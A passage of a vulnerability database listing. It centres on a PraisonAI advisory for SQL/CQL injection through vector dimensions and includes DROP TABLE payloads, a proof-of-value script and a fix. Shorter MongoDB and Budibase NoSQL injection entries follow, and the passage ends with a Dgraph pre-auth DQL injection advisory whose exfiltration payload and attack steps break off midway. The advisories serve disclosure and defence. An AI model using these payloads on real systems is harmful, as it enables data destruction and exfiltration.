This is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.

Suggested Fix

Validate dimension before constructing DDL in every backend that uses it. Prefer a shared helper at the KnowledgeStore.create_collection() boundary plus backend-level defense in depth:

def validate_vector_dimension(value: object) -> int:
    if isinstance(value, bool) or not isinstance(value, int):
        raise ValueError("dimension must be an integer")
    if value <= 0 or value > 200000:
        raise ValueError("dimension is outside the supported range")
    return value

Use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as 3); DROP TABLE x; -- and 3>; DROP TABLE x; -- raise before any driver execute() call, alongside the existing malicious collection-name tests.

Affected Package/Versions

Affected package: praisonai.

The source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at v3.10.0, v4.5.128, v4.6.59, v4.6.62, v4.6.63, v4.6.64, and current main commit 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab. A conservative affected range is praisonai >= 3.10.0, <= 4.6.64 plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.

Advisory History

Repository security advisories were checked on 2026-06-19. The closest public advisory is GHSA-3643-7v76-5cj2, "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are embedding vector({dimension}) and embedding vector<float, {dimension}>, and the issue remains after the identifier hardening.

Other checked comparators include conversation-store table_prefix SQL injection advisories (GHSA-rg3h-x3jw-7jm5, GHSA-x783-xp3g-mqhp) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.

References

  • src/praisonai/praisonai/persistence/knowledge/pgvector.py
  • src/praisonai/praisonai/persistence/knowledge/cassandra.py
  • src/praisonai/praisonai/persistence/knowledge/base.py
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-60090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89",
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:17:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL\n\n## Summary\n\nThe PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.\n\n## Technical Details\n\nThe affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.\n\n`src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name=\"schema\")`, and `_table_name()` calls `validate_identifier(collection, name=\"collection name\")` before returning `f\"{self.schema}.praison_vec_{collection}\"`. However, `PGVectorKnowledgeStore.create_collection()` then executes:\n\n```python\ncur.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {table} (\n        id VARCHAR(255) PRIMARY KEY,\n        content TEXT,\n        content_hash VARCHAR(64),\n        created_at DOUBLE PRECISION,\n        metadata JSONB,\n        embedding vector({dimension})\n    )\n\"\"\")\n```\n\nNo equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`.\n\n`src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses:\n\n```python\nself._session.execute(f\"\"\"\n    CREATE TABLE IF NOT EXISTS {name} (\n        id text PRIMARY KEY,\n        content text,\n        content_hash text,\n        created_at double,\n        embedding vector\u003cfloat, {dimension}\u003e\n    )\n\"\"\")\n```\n\nPassing a string such as `3\u003e; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`.\n\n## PoV\n\nThis minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for vector-store dimension DDL interpolation.\n\nThe script imports PraisonAI\u0027s current source with fake PostgreSQL/Cassandra\ndrivers, then records the SQL/CQL sent to the driver cursors. No database server\nis required; the assertion is that the real classes build executable DDL with an\nattacker-controlled dimension string.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport importlib\nimport json\nimport subprocess\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass SqlRecorder:\n    def __init__(self) -\u003e None:\n        self.statements: list[dict[str, Any]] = []\n\n    def execute(self, statement: str, params: Any = None) -\u003e None:\n        normalized = \"\\n\".join(line.rstrip() for line in statement.strip().splitlines())\n        self.statements.append({\"statement\": normalized, \"params\": params})\n\n    def __enter__(self) -\u003e \"SqlRecorder\":\n        return self\n\n    def __exit__(self, *_exc: object) -\u003e None:\n        return None\n\n\nclass FakeConnection:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.recorder = recorder\n\n    def cursor(self, *args: Any, **kwargs: Any) -\u003e SqlRecorder:\n        return self.recorder\n\n    def commit(self) -\u003e None:\n        return None\n\n\nclass FakePool:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.conn = FakeConnection(recorder)\n\n    def getconn(self) -\u003e FakeConnection:\n        return self.conn\n\n    def putconn(self, _conn: FakeConnection) -\u003e None:\n        return None\n\n    def closeall(self) -\u003e None:\n        return None\n\n\nclass FakeCassandraSession:\n    def __init__(self, recorder: SqlRecorder) -\u003e None:\n        self.recorder = recorder\n        self.keyspace: str | None = None\n\n    def execute(self, statement: str, params: Any = None) -\u003e list[Any]:\n        self.recorder.execute(statement, params)\n        return []\n\n    def set_keyspace(self, keyspace: str) -\u003e None:\n        self.keyspace = keyspace\n\n\nclass FakeCluster:\n    recorder: SqlRecorder\n\n    def __init__(self, *_args: Any, **_kwargs: Any) -\u003e None:\n        self.session = FakeCassandraSession(self.recorder)\n\n    def connect(self) -\u003e FakeCassandraSession:\n        return self.session\n\n    def shutdown(self) -\u003e None:\n        return None\n\n\ndef install_fake_pg_driver(recorder: SqlRecorder) -\u003e None:\n    psycopg2 = types.ModuleType(\"psycopg2\")\n    pool = types.ModuleType(\"psycopg2.pool\")\n    extras = types.ModuleType(\"psycopg2.extras\")\n\n    pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder)  # type: ignore[attr-defined]\n    extras.RealDictCursor = object  # type: ignore[attr-defined]\n    psycopg2.pool = pool  # type: ignore[attr-defined]\n    psycopg2.extras = extras  # type: ignore[attr-defined]\n\n    sys.modules[\"psycopg2\"] = psycopg2\n    sys.modules[\"psycopg2.pool\"] = pool\n    sys.modules[\"psycopg2.extras\"] = extras\n\n\ndef install_fake_cassandra_driver(recorder: SqlRecorder) -\u003e None:\n    cassandra = types.ModuleType(\"cassandra\")\n    cluster = types.ModuleType(\"cassandra.cluster\")\n    auth = types.ModuleType(\"cassandra.auth\")\n\n    FakeCluster.recorder = recorder\n    cluster.Cluster = FakeCluster  # type: ignore[attr-defined]\n    auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object()  # type: ignore[attr-defined]\n\n    sys.modules[\"cassandra\"] = cassandra\n    sys.modules[\"cassandra.cluster\"] = cluster\n    sys.modules[\"cassandra.auth\"] = auth\n\n\ndef git_value(source_root: Path, *args: str) -\u003e str:\n    return subprocess.check_output([\"git\", *args], cwd=source_root, text=True).strip()\n\n\ndef try_invalid_collection(store: Any) -\u003e str:\n    try:\n        store.create_collection(\"docs; DROP TABLE blocked; --\", 3)\n    except Exception as exc:  # noqa: BLE001 - output records exact guard behavior.\n        return f\"{type(exc).__name__}: {exc}\"\n    return \"accepted\"\n\n\ndef run_pgvector(source_root: Path) -\u003e dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_pg_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.pgvector\")\n    store = mod.PGVectorKnowledgeStore(url=\"postgresql://example.invalid/db\", auto_create_extension=False)\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3); DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef run_cassandra(source_root: Path) -\u003e dict[str, Any]:\n    recorder = SqlRecorder()\n    install_fake_cassandra_driver(recorder)\n    sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n    mod = importlib.import_module(\"praisonai.persistence.knowledge.cassandra\")\n    store = mod.CassandraKnowledgeStore(hosts=[\"127.0.0.1\"], keyspace=\"praisonai_safe\")\n\n    invalid_collection = try_invalid_collection(store)\n    recorder.statements.clear()\n    store.create_collection(\"docs\", 3)\n    safe_statements = list(recorder.statements)\n\n    recorder.statements.clear()\n    payload = \"3\u003e; DROP TABLE tenant_secrets; --\"\n    store.create_collection(\"docs\", payload)\n    malicious_statements = list(recorder.statements)\n\n    return {\n        \"payload\": payload,\n        \"invalid_collection_control\": invalid_collection,\n        \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n        \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n        \"safe_statements\": safe_statements,\n        \"malicious_statements\": malicious_statements,\n    }\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--source-root\", type=Path, default=Path.cwd())\n    args = parser.parse_args()\n    source_root = args.source_root.resolve()\n\n    output = {\n        \"source\": {\n            \"repository\": \"MervinPraison/PraisonAI\",\n            \"head\": git_value(source_root, \"rev-parse\", \"HEAD\"),\n            \"describe\": git_value(source_root, \"describe\", \"--tags\", \"--always\", \"--dirty\"),\n        },\n        \"pgvector\": run_pgvector(source_root),\n        \"cassandra\": run_cassandra(source_root),\n    }\n\n    assert output[\"pgvector\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"cassandra\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n    assert output[\"pgvector\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"cassandra\"][\"safe_contains_drop_table\"] is False, output\n    assert output[\"pgvector\"][\"malicious_contains_drop_table\"] is True, output\n    assert output[\"cassandra\"][\"malicious_contains_drop_table\"] is True, output\n\n    print(json.dumps(output, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## PoC\n\nSave the PoV script above as `pov_vector_dimension_ddl_injection.py`, then reproduce against current head:\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\npython3 pov_vector_dimension_ddl_injection.py --source-root .\n```\n\nDecisive PGVector output:\n\n```json\n{\n  \"pgvector\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)\"\n      }\n    ]\n  }\n}\n```\n\nDecisive Cassandra output:\n\n```json\n{\n  \"cassandra\": {\n    \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n    \"safe_contains_drop_table\": false,\n    \"malicious_contains_drop_table\": true,\n    \"malicious_statements\": [\n      {\n        \"statement\": \"CREATE TABLE IF NOT EXISTS docs (... embedding vector\u003cfloat, 3\u003e; DROP TABLE tenant_secrets; --\u003e ...)\"\n      }\n    ]\n  }\n}\n```\n\nThe local controls also showed safe integer dimensions produce `embedding vector(3)` and `embedding vector\u003cfloat, 3\u003e` without `DROP TABLE`, while malicious collection names are rejected before driver execution.\n\n## Impact\n\nThis is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.\n\n## Suggested Fix\n\nValidate `dimension` before constructing DDL in every backend that uses it. Prefer a shared helper at the `KnowledgeStore.create_collection()` boundary plus backend-level defense in depth:\n\n```python\ndef validate_vector_dimension(value: object) -\u003e int:\n    if isinstance(value, bool) or not isinstance(value, int):\n        raise ValueError(\"dimension must be an integer\")\n    if value \u003c= 0 or value \u003e 200000:\n        raise ValueError(\"dimension is outside the supported range\")\n    return value\n```\n\nUse the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as `3); DROP TABLE x; --` and `3\u003e; DROP TABLE x; --` raise before any driver `execute()` call, alongside the existing malicious collection-name tests.\n\n## Affected Package/Versions\n\nAffected package: `praisonai`.\n\nThe source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at `v3.10.0`, `v4.5.128`, `v4.6.59`, `v4.6.62`, `v4.6.63`, `v4.6.64`, and current main commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`. A conservative affected range is `praisonai \u003e= 3.10.0, \u003c= 4.6.64` plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.\n\n## Advisory History\n\nRepository security advisories were checked on 2026-06-19. The closest public advisory is `GHSA-3643-7v76-5cj2`, \"PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries\". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are `embedding vector({dimension})` and `embedding vector\u003cfloat, {dimension}\u003e`, and the issue remains after the identifier hardening.\n\nOther checked comparators include conversation-store `table_prefix` SQL injection advisories (`GHSA-rg3h-x3jw-7jm5`, `GHSA-x783-xp3g-mqhp`) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.\n\n## References\n\n- `src/praisonai/praisonai/persistence/knowledge/pgvector.py`\n- `src/praisonai/praisonai/persistence/knowledge/cassandra.py`\n- `src/praisonai/praisonai/persistence/knowledge/base.py`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp`",
  "id": "GHSA-wf65-4jjx-q444",
  "modified": "2026-10-08T17:17:01Z",
  "published": "2026-10-08T17:17:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wf65-4jjx-q444"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60090"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-sql-cql-injection-via-vector-dimension"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL"
}

GHSA-WG7G-XR7V-HF69

Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-08-13 12:31
VLAI
Details

Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-73618"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T12:17:26Z",
    "severity": "HIGH"
  },
  "details": "Budibase Server before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB query execution endpoint where user-supplied parameters are interpolated into JSON query templates without proper sanitization of JSON metacharacters. Attackers with query write permission can inject JSON structural characters to alter MongoDB queries, bypassing filters to read, modify, or delete arbitrary documents.",
  "id": "GHSA-wg7g-xr7v-hf69",
  "modified": "2026-08-13T12:31:11Z",
  "published": "2026-08-13T12:31:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-qw6m-8fw2-2v64"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73618"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/budibase-server-before-nosql-injection-via-json-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X33J-9628-WVWC

Vulnerability from github – Published: 2026-09-10 21:31 – Updated: 2026-09-10 21:31
VLAI
Details

Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C++ Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-88034"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T19:17:40Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB C++ Driver can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable.",
  "id": "GHSA-x33j-9628-wvwc",
  "modified": "2026-09-10T21:31:35Z",
  "published": "2026-09-10T21:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88034"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/CXX-3556"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X6MC-FGJF-77R7

Vulnerability from github – Published: 2026-09-10 18:31 – Updated: 2026-10-05 23:26
Withdrawn 2026-10-05 VLAI
Summary
Duplicate Advisory: GridFS data disclosure and deletion via query-operator injection in file IDs
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-8fxw-fmj8-xp7j. This link is maintained to preserve external references.

Original Description

Improper neutralization of special elements in data query logic in the GridFS component of the MongoDB PHP Library can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.21.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "mongodb/mongodb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-943"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:26:48Z",
    "nvd_published_at": "2026-09-10T18:18:12Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-8fxw-fmj8-xp7j. This link is maintained to preserve external references.\n\n## Original Description\nImproper neutralization of special elements in data query logic in the GridFS component of the MongoDB PHP Library can cause a caller-supplied structured file identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence the identifier passed by an affected application may obtain stored file content beyond the intended target or cause all GridFS file chunks in the affected bucket to be removed, rendering stored file content unreadable. The affected rename operation may also rename a stored file other than the intended target.",
  "id": "GHSA-x6mc-fgjf-77r7",
  "modified": "2026-10-05T23:26:48Z",
  "published": "2026-09-10T18:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88023"
    },
    {
      "type": "WEB",
      "url": "https://jira.mongodb.org/browse/PHPLIB-1929"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: GridFS data disclosure and deletion via query-operator injection in file IDs",
  "withdrawn": "2026-10-05T23:26:48Z"
}

GHSA-X92X-PX7W-4GX4

Vulnerability from github – Published: 2026-04-24 15:41 – Updated: 2026-07-08 00:34
VLAI
Summary
Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field
Details

1. Executive Summary

A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.

The attack requires two HTTP POSTs to port 8080. The first sets up a schema predicate with @unique @index(exact) @lang via /alter (also unauthenticated in default config). The second sends a crafted JSON mutation to /mutate?commitNow=true where a JSON key contains the predicate name followed by @ and a DQL injection payload in the language tag position.

The injection exploits the addQueryIfUnique function in edgraph/server.go, which constructs DQL queries using fmt.Sprintf with unsanitized predicateName that includes the raw pred.Lang value. The Lang field is extracted from JSON mutation keys by x.PredicateLang(), which splits on @, and is never validated by any function in the codebase. The attacker injects a closing parenthesis to escape the eq() function, adds an arbitrary named query block, and uses a # comment to neutralize trailing template syntax. The injected query executes server-side and its results are returned in the HTTP response.

POC clip:

https://github.com/user-attachments/assets/bbfb7bba-c957-4b57-b534-48a958314186

2. CVSS Score

CVSS 3.1: 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Metric Value Rationale
Attack Vector Network HTTP POST to port 8080
Attack Complexity Low Two requests, deterministic outcome, no special conditions
Privileges Required None No authentication when ACL is disabled (default)
User Interaction None Fully automated
Scope Unchanged Stays within the Dgraph data layer
Confidentiality High Full database exfiltration: all nodes, all predicates, all values
Integrity High The mutation that carries the injection also writes data; the attacker can also set up arbitrary schema via unauthenticated /alter
Availability None No denial of service

3. Vulnerability Summary

Field Value
Title Pre-Auth DQL Injection via Unsanitized NQuad Lang Field in addQueryIfUnique
Type Injection
CWE CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
CVSS 9.8

4. Target Information

Field Value
Project Dgraph
Repository https://github.com/dgraph-io/dgraph
Tested version v25.3.0
Lang split x/x.go line 919 (PredicateLang splits on @, returns everything after as Lang)
Lang assignment chunker/json_parser.go line 524 (nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate))
Validation gap edgraph/server.go line 2142 (validateKeys checks nq.Predicate only, never nq.Lang)
Injection sink edgraph/server.go line 1808 (fmt.Sprintf with predicateName containing raw pred.Lang)
predicateName build edgraph/server.go line 1780 (fmt.Sprintf("%v@%v", predicateName, pred.Lang))
Auth bypass (query) edgraph/access.go line 958 (authorizeQuery returns nil when AclSecretKey == nil)
Auth bypass (mutate) edgraph/access.go line 788 (authorizeMutation returns nil when AclSecretKey == nil)
Response exfiltration dgraph/cmd/alpha/http.go line 498 (mp["queries"] = json.RawMessage(resp.Json))
HTTP port 8080 (default)
Prerequisite A predicate with @unique @index(exact) @lang in the schema. The attacker can create this via unauthenticated /alter.

5. Test Environment

Component Version / Details
Host OS macOS (darwin 25.3.0)
Dgraph v25.3.0 via dgraph/dgraph:latest Docker image
Docker Compose 1 Zero + 1 Alpha, default config, whitelist=0.0.0.0/0
Python 3.x with requests
Network localhost (127.0.0.1)

6. Vulnerability Detail

Location: edgraph/server.go lines 1778-1808 (addQueryIfUnique) CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

The /mutate endpoint accepts JSON mutations. When a predicate has the @unique directive, the addQueryIfUnique function builds a DQL query to check whether the value already exists.

The JSON chunker at json_parser.go:524 splits mutation keys on @ via x.PredicateLang:

nq.Predicate, nq.Lang = x.PredicateLang(nq.Predicate)

PredicateLang at x/x.go:919 splits on the last @ and returns everything after it as the Lang string with no validation:

func PredicateLang(s string) (string, string) {
    i := strings.LastIndex(s, "@")
    if i <= 0 {
        return s, ""
    }
    return s[0:i], s[i+1:]
}

validateKeys at server.go:2142 validates only nq.Predicate. It never touches nq.Lang:

func validateKeys(nq *api.NQuad) error {
    if err := validateKey(nq.Predicate); err != nil {
        return errors.Wrapf(err, "predicate %q", nq.Predicate)
    }
    for i := range nq.Facets {
        // ... validates facet keys ...
    }
    return nil  // nq.Lang is never checked
}

addQueryIfUnique at server.go:1778-1808 builds predicateName from the predicate and the raw Lang, then interpolates it into a DQL query via fmt.Sprintf:

predicateName := fmt.Sprintf("<%v>", pred.Predicate)
if pred.Lang != "" {
    predicateName = fmt.Sprintf("%v@%v", predicateName, pred.Lang)
}
// ...
query := fmt.Sprintf(`%v as var(func: eq(%v,"%v"))`, queryVar, predicateName, val[1:len(val)-1])

There is no escaping, no parameterization, no structural validation, and no character allowlist applied to pred.Lang anywhere between the HTTP input and the fmt.Sprintf query construction.

An attacker crafts a JSON mutation key:

name@en,"x")) leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key } } #

After PredicateLang splits on @:

  • Predicate = name (passes all validation)
  • Lang = en,"x")) leak(func: has(dgraph.type)) { ... } } # (never validated)

The constructed DQL becomes:

{
  __dgraph_uniquecheck_0__ as var(func: eq(<name>@en,"x"))
  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key }
}

The # comment neutralizes any trailing syntax from the template. The DQL parser accepts this as two valid query blocks: a var query (returns empty) and a named leak query that exfiltrates all data. The uniqueness check passes (no existing name@en equals "x"), so the mutation succeeds, and the injected query results are returned in data.queries.leak.

7. Full Chain Explanation

The attacker has no Dgraph credentials and no prior access to the server.

Step 1. The attacker creates the required schema via unauthenticated /alter:

POST /alter HTTP/1.1
Host: TARGET:8080

name: string @unique @index(exact) @lang .

